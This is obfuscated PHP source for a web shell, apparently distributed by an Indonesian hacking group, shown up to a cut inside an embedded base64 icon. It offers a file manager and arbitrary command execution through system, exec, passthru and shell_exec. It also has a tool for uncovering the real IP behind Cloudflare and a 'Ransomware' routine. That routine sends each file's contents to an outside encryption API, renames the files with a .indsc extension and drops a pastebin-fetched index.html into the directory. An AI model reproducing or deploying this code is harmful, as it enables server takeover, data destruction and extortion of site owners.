	\x9\x9.lain{color:#888888;font-size:20px;margin-left:5px;top:1px;}\xd
			.lain:hover{color:#fff;}
	\x9\x9.tambah{\xd\xa		\x9\x9width:35px;
\xa\x9\x9\x9\x9height:35px;\xd
	\x9		line-height:35px;
\x9\x9		border:1px solid;
\xa	\x9\x9	border-radius:50%;
			\x9text-align:center;
\xa	\x9	}
\x9\x9\x9.fiture{margin:3px;}
\xa\x9\x9\x9.tmp th {font-size:14px;}\xd
\x9	\x9.tmp tr td{border:solid 1px #BBBBBB;text-align:center;font-size:13px;padding:2px 5px;}\xd
	\x9	.tmp tr:hover{background:#5B6F7D; color:#fff;}
\xa		\x9.about{color:#000;}
\xa\x9		.about .card-body .img{\xd
\x9	\x9	position: relative;\xd
\x9	\x9\x9background: url(https://i.postimg.cc/Wb1X4xNS/image.png);
				background-size: cover;\xd
\x9		\x9width: 150px;
\xa\x9\x9	\x9height: 150px;\xd
	\x9\x9}
\xa		\x9.butn {
\x9	\x9\x9position: relative;\xd\xa		\x9\x9text-align: center;
		\x9\x9padding: 3px;\xd
\x9\x9		background:rgba(225,225,225,.3);\xd\xa	\x9		-webkit-transition: background 300ms ease, color 300ms ease;\xd
\x9	\x9\x9transition: background 300ms ease, color 300ms ease;\xd\xa			}\xd
	\x9	input[type="radio"].toggle {display:none;}\xd\xa\x9		input[type="radio"].toggle + label {cursor:pointer;margin:0 2px;width:60px;}
	\x9	input[type="radio"].toggle + label:after {\xd
	\x9\x9	position: absolute;
\xa\x9		\x9content: "";\xd
	\x9\x9\x9top: 0;
	\x9	\x9background: #fff;
\xa\x9			height: 100%;
\xa\x9\x9		width: 100%;\xd
\x9\x9		z-index: -1;\xd
	\x9\x9	-webkit-transition: left 400ms cubic-bezier(0.77, 0, 0.175, 1);
\x9\x9\x9\x9transition: left 400ms cubic-bezier(0.77, 0, 0.175, 1);\xd
\x9\x9\x9}
\xa	\x9	input[type="radio"].toggle.toggle-left + label:after {left:100%;}\xd
	\x9	input[type="radio"].toggle.toggle-right + label {margin-left:-5px;}\xd\xa\x9\x9\x9input[type="radio"].toggle.toggle-right + label:after {left:-100%;}\xd\xa\x9		input[type="radio"].toggle:checked + label {cursor:default;color:#000;-webkit-transition:color 400ms;transition: color 400ms;}\xd
\x9	\x9input[type="radio"].toggle:checked + label:after {left:0;}
\x9\x9</style>\xd\xa	\x9<nav class="navbar static-top navbar-dark">
\xa\x9\x9	<button class="navbar-toggler"type="button" data-toggle="collapse" data-target="#info" aria-label="Toggle navigation">\xd\xa				<i style="color:#fff;" class="fa fa-navicon"></i>
\x9		</button>\xd\xa\x9	\x9<div class="collapse navbar-collapse" id="info">
\xa\x9	\x9\x9<ul>
\x9			\x9<a href="https://facebook.com/IndoSecOfficial" class="lain"><i class="fa fa-facebook tambah"></i></a>\xd
\x9\x9			<a href="https://www.instagram.com/indosec.id" class="lain"><i class="fa fa-instagram tambah"></i></a>
\xa\x9	\x9\x9	<a href="https://www.youtube.com/IndoSec" class="lain"><i class="fa fa-youtube-play tambah"></i></a>\xd
		\x9\x9\x9<a href="https://github.com/indosecid" class="lain"><i class="fa fa-github tambah"></i></a>
\xa\x9\x9\x9\x9	<a href="https://indosec.web.id" class="lain"><i class="fa fa-globe tambah"></i></a>
\x9\x9\x9\x9</ul>\xd
	\x9\x9</div>\xd
\x9	</nav>
\xa	\x9"; goto lIdeL; ZW7rE: $default_use_ajax = true; goto nTsOG; PlgOz: if ($_GET["aksi"] == "bctools") { bcTool($dir, $file); } goto gBjsA; bMmbo: function hapusFile($dir, $file, $nfile) { goto G4y4B; G4y4B: echo "[ <a href="?dir=" . $dir . "&aksi=view&file=" . $file . "">Lihat</a> ]  [ <a href="?dir=" . $dir . "&aksi=edit&file=" . $file . "">Edit</a> ]  [ <a href="?dir=" . $dir . "&aksi=rename&file=" . $file . "">Rename</a> ]  [ <a class="active" href="?dir=" . $dir . "&aksi=hapusf&file=" . $file . "">Delete</a> ]"; goto ga3xo; W4Z2H: if ($_POST["ya"]) { if (unlink($file)) { goto H1iJ8; H1iJ8: $swa = "success"; goto wWvMI; wWvMI: $text = "Berhasil Menghapus File"; goto dz3Pd; dz3Pd: swall($swa, $text, $dir); goto EswTe; EswTe: } else { goto cYI9y; SeJcT: swall($swa, $text, $dir); goto ecjX_; MtF9r: $text = "Gagal Menghapus File"; goto SeJcT; cYI9y: $swa = "error"; goto MtF9r; ecjX_: } } goto vF6nu; ga3xo: echo "<div class='card card-body text-center text-dark mb-4'>
\x9\x9<p>Yakin Menghapus : {$nfile}</p>\xd
\x9\x9<form method='POST'>
\xa\x9\x9	<a class='btn btn-danger btn-block' href='?dir={$dir}'>Tidak</a>
	\x9\x9<input type='submit' name='ya' class='btn btn-success btn-success btn-block' value='Ya'>\xd\xa	\x9</form>\xd
	</div>"; goto W4Z2H; vF6nu: } goto VrQx0; RZJj2: function r($dir, $perm) { if (!is_readable($dir)) { return "<font color=red>" . $perm . "</font>"; } else { return "<font color=lime>" . $perm . "</font>"; } } goto eUJ9r; pSA_Z: $total = disk_total_space($dir); goto ZxAyc; dr5yf: @ini_set("display_errors", 0); goto wJqsn; eUJ9r: function exe($cmd) { if (function_exists("system")) { goto Uw3BZ; FFzj6: @ob_end_clean(); goto swOFy; coJX9: $buff = @ob_get_contents(); goto FFzj6; Uw3BZ: @ob_start(); goto U2yNP; U2yNP: @system($cmd); goto coJX9; swOFy: return $buff; goto jN0g9; jN0g9: } elseif (function_exists("exec")) { goto BEVpL; BEVpL: @exec($cmd, $results); goto P3N9U; P3N9U: $buff = ''; goto YBK20; Z2P3_: return $buff; goto YkBWl; YBK20: foreach ($results as $result) { $buff .= $result; } goto Z2P3_; YkBWl: } elseif (function_exists("passthru")) { goto KgjmF; E9L7P: @passthru($cmd); goto uT4Ek; iGD9M: return $buff; goto tKMl6; oH9gV: @ob_end_clean(); goto iGD9M; KgjmF: @ob_start(); goto E9L7P; uT4Ek: $buff = @ob_get_contents(); goto oH9gV; tKMl6: } elseif (function_exists("shell_exec")) { $buff = @shell_exec($cmd); return $buff; } } goto SVbJ1; dMaf5: function bypasscf() { goto ax0z1; JxgRK: if ($_POST["idsPilih"] == "cpanel") { $cpanel = gethostbyname("cpanel." . "{$target}"); echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='3' color='#00ff00'>Correct 
\xa		ip is : </font><font face='Tahoma' size='3' color='#F68B1F'>{$cpanel}</font></p>"; } goto qz4Z1; G2qql: if ($_POST["idsPilih"] == "direct-conntect") { $direct = gethostbyname("direct-connect." . "{$target}"); echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='3' color='#00ff00'>Correct 
\x9\x9ip is : </font><font face='Tahoma' size='3' color='#F68B1F'>{$direct}</font></p>"; } goto IRf19; qz4Z1: exit; goto J5G0b; IRf19: if ($_POST["idsPilih"] == "webmail") { $web = gethostbyname("webmail." . "{$target}"); echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='3' color='#00ff00'>Correct \xd\xa\x9	ip is : </font><font face='Tahoma' size='3' color='#F68B1F'>{$web}</font></p>"; } goto JxgRK; bBct5: $target = $_POST["target"]; goto uf8eS; uf8eS: if ($_POST["idsPilih"] == "ftp") { $ftp = gethostbyname("ftp." . "{$target}"); echo "<p align='center' dir='ltr'><font face='Tahoma' size='3' color='#00ff00'>Correct \xd\xa\x9\x9ip is : </font><font face='Tahoma' size='3' color='#F68B1F'>{$ftp}</font></p>"; } goto G2qql; ax0z1: echo "<form method="POST">\xd
		<h5 class="text-center mb-3">Bypass Cloud Flare</h5>\xd\xa\x9	<div class="form-group input-group">
\xa	\x9	<select class="form-control" name="idsPilih">
\xa\x9	\x9\x9<option>Pilih Metode</option>
\x9			<option>ftp</option>
\xa\x9			<option>direct-conntect</option>\xd
\x9	\x9	<option>webmail</option>
\xa\x9\x9	\x9<option>cpanel</option>
\xa\x9\x9\x9</select>\xd\xa\x9	</div>
	\x9<div class="form-group input-group mb-4">\xd
\x9\x9\x9<input class="form-control" type="text" name="target" placeholder="Masukan Url">
\xa\x9	\x9<input class="btn btn-danger form-control" type="submit" value="Bypass">
\xa	\x9</div>
\x9</form>"; goto bBct5; J5G0b: } goto pxxCU; Ejk2k: if ($_GET["aksi"] == "masdel") { aksiMasdel($dir, $file, $imgfol, $imgfile); } goto vs3BQ; vs3BQ: if ($_GET["aksi"] == "jumping") { aksiJump($dir, $file, $ip); } goto A3jfK; ZQ018: session_start(); goto Yfk60; QId2Q: if ($_GET["aksi"] == "view") { view($dir, $file, $nfile, $imgfile); } goto S0OC8; Q1kC3: function ransom($dir, $file) { if (isset($_POST["encrypt"])) { goto bVdqf; FgDKO: echo "<textarea class='form-control mb-4' rows='13' disabled=''>"; goto NxVVJ; yg1Cu: echo "</textarea><br/>"; goto Hycs9; bVdqf: $dir = $_POST["path"]; goto FgDKO; NxVVJ: function listFolderFiles($dir) { if (is_dir($dir)) { goto fPsMD; L1ZUX: $index = file_get_contents("https://pastebin.com/raw/aGZ6BeTH"); goto T3bF4; gAkoR: if (count($ffs) < 1) { return; } goto RJiYZ; RJiYZ: foreach ($ffs as $ff) { goto c2_Yt; zHj3f: if (!is_dir($files)) { goto HT3sr; Kxrp0: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto NW4cD; NW4cD: curl_setopt($ch, CURLOPT_POSTFIELDS, "text={$_a}"); goto DeEdg; HT3sr: $file = file_get_contents($files); goto iF7VE; qFHCv: curl_setopt($ch, CURLOPT_URL, "http://encrypt.indsc.me/api.php?type=encrypt"); goto Kxrp0; DeEdg: $x = json_decode(curl_exec($ch)); goto gH630; aKrdv: $ch = curl_init(); goto qFHCv; gH630: if ($x->status == "success") { goto ZmsLI; gXfz0: rename($files, $files . ".indsc"); goto Drjtn; ZmsLI: $_enc = base64_decode($x->data); goto gXfz0; Drjtn: echo "[+]{$files} => Success Encrypted\xa"; goto vtSeE; vtSeE: } goto Zd09O; iF7VE: $_a = base64_encode($file); goto aKrdv; Zd09O: } goto n9mCq; c2_Yt: $files = $dir . "/" . $ff; goto zHj3f; n9mCq: if (is_dir($dir . "/" . $ff)) { listFolderFiles($dir . "/" . $ff); } goto IbFg6; IbFg6: } goto L1ZUX; Trmq9: unset($ffs[array_search("..", $ffs, true)]); goto gAkoR; fPsMD: $ffs = scandir($dir); goto RX10x; nHBQR: echo "
[+] Done !"; goto acDXe; T3bF4: $_o = fopen($dir . "/index.html", "w"); goto TCnYJ; TCnYJ: fwrite($_o, $index); goto Fa_MB; RX10x: unset($ffs[array_search(".", $ffs, true)]); goto Trmq9; Fa_MB: fclose($_o); goto nHBQR; acDXe: } else { echo "\xaBukan dir"; } } goto hIdiM; hIdiM: listFolderFiles($dir); goto yg1Cu; Hycs9: } else { echo "<form method="post">
\x9	\x9<div class="form-group">\xd
	\x9\x9	<h4 class="text-center mb-4"><i class="fa fa-lock"></i> Ransomware</h4>
\x9\x9\x9\x9<label>Pilih Directory :</label>
\xa\x9\x9\x9	<div class="form-group input-group">\xd
\x9				<div class="input-group-prepend">
\xa\x9	\x9	\x9\x9<div class="input-group-text"><i class="fa fa-home"></i></div>\xd\xa				\x9</div>\xd
\x9		\x9	<input type="text" name="path" class="form-control" value="" . $dir . ""/>\xd\xa		\x9\x9</div>
\xa\x9			<input type="submit" name="encrypt" class="btn btn-danger btn-block" value="Encrypt"/>\xd\xa			</div>\xd\xa		</form>"; } exit; } goto CaV21; Il_fQ: $path = str_replace("\", "/", $path); goto hn1q4; ZCeW1: function w($dir, $perm) { if (!is_writable($dir)) { return "<font color='red'>" . $perm . "</font>"; } else { return "<font color='lime'>" . $perm . "</font>"; } } goto RZJj2; hWdMx: if (isset($_GET["about"])) { about(); } goto ML2sV; GGZ6U: $imgfile = "<img src='data:image/png;base64,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' class='ico2'></img>"; goto Hn4Nw; UGR7W: $nfile = basename($file); goto cqr2q; ibkH5: $os = php_uname(); goto kD39o; S0OC8: if ($_GET["aksi"] == "edit") { editFile($dir, $file, $nfile, $imgfile); } goto Kt0bP; ADDCP: $mail = function_exists("mail") ? "<font color=green>ON</font>" : "<font color=red>OFF</font>"; goto pSA_Z; nTsOG: $default_charset = "UTF-8"; goto zRAIO; TyPNd: if (isset($_GET["keluar"])) { goto UqAi4; wKd1c: session_destroy(); goto pkoLE; pkoLE: echo "<script>window.location="?";</script>"; goto rje34; UqAi4: session_start(); goto wKd1c; rje34: } goto Ion9F; SnXTb: $imgfol = "<img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAQAAAAEACAYAAABccqhmAAAQDElEQVR4nO3dXYxcZ3nA8f9z5szs7K7XweB1HBITQ0BO7EohkEAliI1IoRJIUBLai95QkUgEihqJO5ykXJRCe8NFpaZUEKO0IFVI4eMm4qOggnLVfHEBcaSiRlH5tION7V1719jz9uKcMzu73rV3Y3tnd97/T1p7Z8454+OZ8zznOe9533dAkiRJkiRJkiRJkiRJkiRJkiRJkiRJkiRJkiRJkiRJkiRJkiRJ0hUXw94B6VI8SFeWLnN731ttKFEfkVH/8dDHdhDhYbqSlBI/fmaWHz89S0rNc6vf3ndWQ9UP+IFgf+j+HRAenGuR6j8++8Uj/OjpGX78VJUQLpULfI+17oIq4PffMcmB27fw0P07FiWC6m8PzbVK9ak/perns188wt/9y2/pXSQL+C5r3URUPw/fv4OH7r+2/7hZtoZXuhq7t0msrr5vzv6pB++573/50VOzy14a5PxOap1EwIE7JnnoYzs48LbJKvBZ01m+WXELsBPi+quyo5tC+iXwC2COVWSDlBIpwX/99yzvve/FC6oBE4Cumn7g3z/Nu+7YspbyPoBXAfuBdwBvBvYBOxcW56ofwT8DngR+ADwBnFlxi/rU30vwno++WFUD9bKc30ldJQFEAd/70m7e9baBwL/Y4VYtfCPwF8D7gbcPvBwDh6rHbD8LNE1/zABfA/6JxAsrb1RVA38ykAR8M3VFVdf40zz88Wv7pf5KF/j1s9uAvyS4F7iVxcekx+elpUW/J74GPJjg/5Zfu04C977Ij56e9Q3WlREB+2+f5OGPT3Pg9i11A99FD6+bA/4G+AgwPnAkeky+cqlOB6cSHAQeYZl2gqZd4D33veibrcsXAQ9/fAcPL7qdt+KhdSvwGeCDsfiqwGPxykgs3P//FlWCPXXBSil5CaDLVwR899HdvOvSZ/3dwN9SHZCx9MJeV1xz1+8nwPuA3yy3kh+AXpGg6sjz/UdfT3Hxs/448CmqknR8YHNdfU35/wLwbpZJAn4QWrOgur33/Udfv6gzzzJrvh34CnDzks21fpok8DSku1hyOdBa//3RZrYQ/LsvVvK3gX+A+Ffg2oFNDf7117znrwWuA749uNAEoFVbZfDvBr4DfBiiNbCphqd5/2+l6kB0eOkC6aJWGfwHgK8D0wsDerVxpAQcpbokOw5WAFqlA3dM8p8XD/6PUAX/lMG/UQXAJFXcf7//zCt6GcdrZyMCzjy3j6KAFT71ByL4wsBCD42NK1GNG9gNHF3TcKwIuPOWSe7cO8k7b5lg/97Jq7SP2kgiIMahmAqiC9GmOoe0gIIHgC9E2Mi3STR3BT4N/OOqhmVFwMF7dnDwnukLzv5O3JCBAMaqJEAXogOUEG0eoKjO/HHRkT7aYBLwP1TdsVcWAQfvnubBD+9YGNihvETdlt+B6FIlgg7EOB+kFV8H2gb/ppPqUQNvLpdbGsCdeyd48J5p7tw7SZAuPpRz8aYaNXVxn4BIQJt9tPg3quDX5tN8au++IAFEwP69Ezzx4O5LdfFsXugm4C6qiRv+CLiRajIHjYpz9c9pSAExsWiUrylg83rnogQQAU8cvJH9eycXfappYDKxOhlUY7hZPIZ7SaLwwBhBxXTdFqDNrYrOhTaACHjiwdf1g3+lgR0R8SmqwR3bLng5jaz+nYDd4S3g0ZCAm